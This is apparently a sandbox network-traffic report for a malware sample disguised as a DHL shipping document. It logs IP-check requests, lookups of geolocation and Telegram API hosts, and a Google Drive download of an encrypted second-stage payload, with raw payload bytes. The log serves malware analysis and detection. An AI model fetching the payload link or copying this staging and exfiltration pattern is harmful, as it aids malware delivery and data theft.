Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:59.887293100 CET	1.1.1.1	192.168.2.7	0x142e	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	63527	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:42.415150881 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:42.870929956 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5f57a516f1812b0cce9b97fc7944885e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 18, 2025 08:12:42.900765896 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 18, 2025 08:12:44.012267113 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9e5c542f285e2156084158d8de30a47e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 18, 2025 08:12:45.309144020 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 18, 2025 08:12:45.408365011 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aacef3a27bf6b16bb9c9b737f05cb007 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	63530	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:46.100373030 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 18, 2025 08:12:46.555290937 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f9e543db975f5933fe054eb3cc29fbd6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	63532	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:47.197560072 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:48.744066954 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3c74206d07f1775621fcec2014214285 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	63534	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:49.853418112 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:51.499892950 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6824e5b502ce445e021f8e8e8ee100cc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	63536	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:52.142263889 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:52.602129936 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 930ac3c22931c7648ee23552b710c256 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	63538	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:53.390738010 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:53.845184088 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 66bc2847f403d9dcbe2563e85243d749 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	63540	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:54.515631914 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:56.558365107 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b791754b99f1d3625df9601c91f8a141 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	63542	193.122.130.0	80	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:12:57.189256907 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 18, 2025 08:12:59.103393078 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:12:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 81571473773194aee1741a9883ec8961 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	63509	142.250.181.238	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:37 UTC	216	OUT	GET /uc?export=download&id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-18 07:12:38 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 18 Feb 2025 07:12:38 GMT Location: https://drive.usercontent.google.com/download?id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-LE9nxeDg-FPrkQRTD061dQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	63517	142.250.186.129	443	7596	C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-18 07:12:38 UTC	258	OUT	GET /download?id=1AAtDYcpiCJUWS_00KJgcwM4r726KOrMI&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-18 07:12:41 UTC	5010	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iHjaUvgWzokZBZs01GY5SMsKOhzg8jBoTIBT2KMjMSZsEnxt139mE0WR89Wo5N2wG24 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="hlpiAff199.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 220224 Last-Modified: Mon, 17 Feb 2025 09:44:22 GMT Date: Tue, 18 Feb 2025 07:12:40 GMT Expires: Tue, 18 Feb 2025 07:12:40 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=Lq3mpQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-18 07:12:41 UTC	5010	IN	Data Raw: 82 36 02 ff 72 4a da fd c9 f1 6f 88 03 8d ef bf 64 36 8b 1a 5c 5d d2 b9 23 06 5e d7 89 ae 1a 1f c7 2f 49 ca 25 fa b3 3b 50 b3 b4 84 50 86 03 41 c0 d3 ba 25 43 0d 94 35 26 58 80 a8 08 21 58 dd 96 54 d5 84 15 0f 33 ff 45 ba fc 79 e4 69 f6 0e 56 2b 74 1d 50 de 5b 47 c9 fe 5b 1d 0f 32 d9 27 b0 40 a4 b6 3b dd 2e 3e 7d 5d ed 9c 9b 17 48 8e 40 aa 37 d4 f2 93 36 1a e0 e4 26 53 dd 98 f6 eb 3f e3 df 0d 63 7e 6f 2f e4 cc d6 e7 d0 29 62 44 0b 9b 7c ea 94 92 8a fa 45 2e 15 9f b6 b5 c3 83 8d fa 05 b7 72 12 8e 71 3b b0 60 e4 f3 70 47 0b 3a e2 50 32 f7 a4 60 2c 5a 78 eb 41 ee 51 e3 a6 70 9f 8d 38 52 ca ad 9a de d2 1f 37 49 25 35 9a b5 12 4b b1 a7 23 01 72 54 77 a4 f2 56 82 bf 14 6e 1b d7 59 d6 c6 71 b3 86 4b 4d d7 7b e1 93 ad 91 60 4a d0 48 4f 5c f0 0e 10 28 5c e6 59 b9 Data Ascii: 6rJod6\]#^/I%;PPA%C5&X!XT3EyiV+tP[G[2'@;.>}]H@76&S?c~o/)bD\|E.rq;`pG:P2`,ZxAQp8R7I%5K#rTwVnYqKM{`JHO\(\Y
2025-02-18 07:12:41 UTC	4676	IN	Data Raw: f1 8c 5c 2e a8 28 86 c5 54 d8 92 03 67 2e 30 63 80 84 5c 09 4a b0 bb a6 94 5f e2 1b ee 9d ea d4 e2 1e cb 42 70 b5 3c a4 62 72 35 73 ff 6c 13 6b ab b3 29 c9 6b 7b d0 77 38 c2 8d 83 41 d4 0a da 59 b1 32 b6 7f 36 25 04 c4 f7 6e ef 0a 74 6f 55 18 1d ca 27 77 13 ec 02 df b4 11 2b 07 ec f8 69 a7 e7 43 32 89 0c 29 22 24 0f ec a0 58 c8 85 ca aa 2b fa c4 5b 12 fb 01 f2 e4 ab ce 6b 0b 74 b1 f5 11 16 d3 d9 a4 24 7f 03 24 e7 ed 46 45 a3 76 73 57 b9 09 a8 49 52 fb 0c 28 15 46 c3 2c 4b e5 64 e6 28 a2 5e 73 3e 5a dd 3e 04 0b 03 4f 55 c4 97 30 a1 72 c8 fa f1 16 b3 14 e5 3a 06 57 c9 41 77 30 df 9c 6c 7a 71 e0 c8 48 77 79 89 5c b0 0b 25 27 9c 86 95 6b a9 45 65 73 8c d1 c8 17 69 97 3f 8d 78 f5 07 4e fb 8a 2e cb 39 49 b7 9a c3 03 70 d5 3f 96 e7 cb eb 31 a8 47 b4 d1 84 97 ad Data Ascii: \.(Tg.0c\J_Bp<br5slk)k{w8AY26%ntoU'w+iC2)"$X+[kt$$FEvsWIR(F,Kd(^s>Z>OU0r:WAw0lzqHwy\%'kEesi?xN.9Ip?1G
2025-02-18 07:12:41 UTC	1325	IN	Data Raw: a3 eb ab b4 c5 2e 10 f2 43 11 1c ca 7f 81 2d 09 5e 3c 94 f1 e4 60 b0 1b 4e 57 a8 08 79 01 48 89 7f 34 13 27 67 0b 3f f5 4e e6 22 a6 22 58 22 39 5c 1d 0c 6a a7 08 23 c4 97 30 ce f2 d9 fe 94 74 bb 1d 61 5e b2 36 09 50 72 16 d7 8d 61 7a b1 e0 c8 48 64 a1 46 56 b9 0c 28 85 fd f8 cf 04 a8 4f 65 68 88 62 6d 3f 19 9d 3f 59 7c 2b 1a 4a d0 ae 38 c8 39 49 b7 9a c3 03 70 0d 06 b3 cf ff ea 05 a2 54 b3 d1 f5 f5 a6 4f 64 8b c7 2d c5 0b e5 91 ac 9e 4e 2f 8e f3 23 7a 50 2a 78 5b ae 27 ac 5d 7e b7 13 98 8e b8 3b 94 1a c3 2c ad 12 17 54 d8 41 18 9d 18 34 db 8b 2c 57 6d 4a b2 d0 62 ec 32 48 3b 8f 3f e2 bb bc 8f 90 af 7f df 19 27 20 15 16 67 c5 12 41 76 8e a4 d1 b7 f9 20 31 b1 2d 46 ab 13 3a 0b 28 25 a2 5d 55 ed 80 4f 1e 94 69 f4 5c 2d 0b 48 90 a5 72 ae 18 62 26 47 b6 03 9b Data Ascii: .C-^<`NWyH4'g?N""X"9\j#0ta^6PrazHdFV(Oehbm??Y\|+J89IpTOd-N/#zP*x[']~;,TA4,WmJb2H;?' gAv 1-F:(%]UOi\-Hrb&G
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 5d 9a 6c 74 12 39 f9 19 86 4a c2 9f bd ff 32 8a 72 09 a9 1a 20 1f b2 31 bc 60 20 6e a6 b0 73 9f 84 20 42 79 8f 6e d6 00 32 10 33 45 ea d0 47 e9 83 f2 01 94 63 9f b0 64 0b 42 9a c6 cf d3 dd 12 0e 0e c8 3e 9d 69 46 91 16 1e 52 b0 4a d8 c2 5b 0f 9a 74 1b da 4d 05 12 a0 00 5f a5 8b 8c b3 2c ff e5 f5 2b 38 86 ad d3 9b 2e 97 57 70 80 22 69 43 02 17 e3 21 67 59 83 a4 e4 c4 2a 07 4e 57 4a cc 70 08 8f 07 10 9f 03 15 f3 0e b6 3e 24 f7 17 a6 e9 71 20 82 c2 ba a2 23 ea cb fd bf f7 0a f3 29 c5 d9 aa 47 08 59 d7 1d 40 c1 78 52 ac 0d 8a a4 57 b4 3e 8a 7c 2f 8e 21 39 c0 fa fa 0a ee b9 5a db 07 66 9f e2 a9 6b 15 7a da de 80 28 3a ab b8 e6 5d a0 f9 3f ee 49 a5 dd 0d 0e 56 c3 5f c4 40 61 72 cd 03 6f f1 11 8a 17 d3 b6 5b ba a0 d8 f8 71 1c 43 5a af d5 b3 a7 58 29 c3 78 43 ec Data Ascii: ]lt9J2r 1` ns Byn23EGcdB>iFRJ[tM_,+8.Wp"iC!gY*NWJp>$q #)GY@xRW>\|/!9Zfkz(:]?IV_@aro[qCZX)xC
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 4f 48 53 e9 dc 94 47 b1 80 58 c0 39 7e e1 5e d8 6f 8f 78 f0 3c e1 cd f5 12 b1 77 e3 88 70 66 24 93 33 2b 5b 9e 6e a0 3c 73 54 01 90 3c 23 fb 16 a7 18 6a e1 34 fa 76 f2 43 de e5 51 98 1d f3 76 04 b3 75 21 3f 4b e0 39 94 d1 df 17 54 b7 fb b5 0c cd 24 7c b0 14 47 c6 05 79 7d 60 c1 1d 3b 50 47 8c 43 c9 d5 35 e8 55 61 e2 19 c2 c4 49 dd 65 be 91 0c f7 73 04 e7 3e 44 ea 89 c8 15 2f 66 a4 4c 98 87 fd bc df ea d4 37 ce 7f 4f 03 8b 52 37 a3 82 37 72 29 2f ed 4d 63 a9 8b 90 7a 44 47 0a f1 31 20 1c 16 c8 69 bf b9 ab e5 f2 c2 d8 76 2b 6a 48 4a 97 c7 a1 46 da 2a b7 76 9a 7d 65 44 ad a8 c7 45 84 1c 1c 3b 81 70 ba fc 7d 69 03 f4 0e 9e 3d 5c 9e 50 de 51 51 77 ff 48 14 1e 3b f5 2b a1 48 b3 d9 f1 dd 2e 34 7d 5d c6 97 9b 06 40 98 2f 60 37 d4 f8 93 36 0b e8 9a 18 53 5d 9c de Data Ascii: OHSGX9~^ox<wpf$3+[n<sT<#j4vCQvu!?K9T$\|Gy}`;PGC5UaIes>D/fL7OR77r)/MczDG1 iv+jHJF*v}eDE;p}i=\PQQwH;+H.4}]@/`76S]
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 55 75 fa f6 eb 3b fc 4f 03 62 da 66 e2 c4 74 d6 ab 94 96 36 20 e8 e8 5c 9a f5 cd e9 88 78 43 35 fc c8 db ad fd f9 c7 ea 93 52 60 fa 3a 0d ab 07 d1 b7 4f b6 0e 40 a5 82 57 d9 a3 cf 03 66 0a be 4e ee 21 41 83 39 a4 b5 38 1e cf 0c bf ac 1a e8 5f 49 55 97 bf ae 6c 57 b1 47 27 6c 9d 5f 76 fe 50 73 d8 ce 21 7a 0f a7 fb fe b1 71 b3 22 25 66 60 7b c1 99 aa fe bc 49 d0 42 43 14 fa 25 30 2e 76 fd 6b b0 fd fb 70 64 86 94 39 8b 6c 8c e1 56 cc 1a bd d6 dc 40 e6 3d 7e ba 1e 32 d9 4a b6 68 52 da fb 3e c2 3a e9 2d 9a bc 69 8e aa ab 01 bb 3c 05 ff 7c 01 aa 84 01 06 be 65 aa 77 08 43 e1 41 a1 d0 f5 09 6e 92 59 70 18 63 51 96 c2 cc 2a 4f be 10 22 00 f4 f3 d6 6c a8 98 3e ea 06 2e 7f 59 87 c7 03 06 e3 1f db 81 d2 2e 5b 69 50 de 08 50 ee c9 94 e9 e9 4e c4 37 89 6a 77 cc f9 e6 Data Ascii: Uu;Obft6 \xC5R`:O@WfN!A98_IUlWG'l_vPs!zq"%f`{IBC%0.vkpd9lV@=~2JhR>:-i<\|ewCAnYpcQ*O"l>.Y.[iPPN7jw
2025-02-18 07:12:41 UTC	1390	IN	Data Raw: 5f 1c d1 ac 84 f6 0e 8d 4b 40 7b 7b 7c 65 5f c1 6d c5 6f d8 8b 48 c9 08 97 3d 23 29 76 f9 b8 bb d0 e3 18 c6 bd 7a d7 a3 ff cd cb 3f bf c0 a2 14 e8 3e fd aa 91 88 2d 06 14 a6 16 ec 95 cf 95 98 c5 7e 11 9c 8e 71 4c 50 ce d3 03 79 d8 52 c3 b5 f1 86 5c 3f b0 39 9d 4b 3d b2 50 da 67 2e 21 63 91 9c fb d1 4a b0 bf b5 8e 4e f8 0a f7 8b fb cd 6c 77 a5 1c 70 b5 e1 a5 73 68 82 de ff 6c 09 6b ba ab 00 13 6b 7a c1 54 20 d3 27 ec 3a d4 19 d0 4a ba 23 ac 24 f8 25 04 c4 ef 75 d6 4c 1b 12 5f 1b 78 85 3a 66 05 ec c9 df b4 11 2b 11 e9 87 48 c6 e7 49 33 f7 70 46 f9 2e 0f e1 a7 37 98 46 ca a0 2c 95 ad 4d 3a 89 6e 98 ee ab e4 67 07 07 da dd 68 1c c0 d7 a4 29 f6 4a 33 94 80 63 53 db f1 7d 57 d8 24 99 24 52 fd a4 1e 04 29 80 2e 24 8f c6 c3 3a d0 59 6c 3e 3b f3 53 0c 1a 03 82 71 Data Ascii: _K@{{\|e_moH=#)vz?>-~qLPyR\?9K=Pg.!cJNlwpshlkkzT ':J#$%uL_x:f+HI3pF.7F,M:ngh)J3cS}W$$R).$:Yl>;Sq
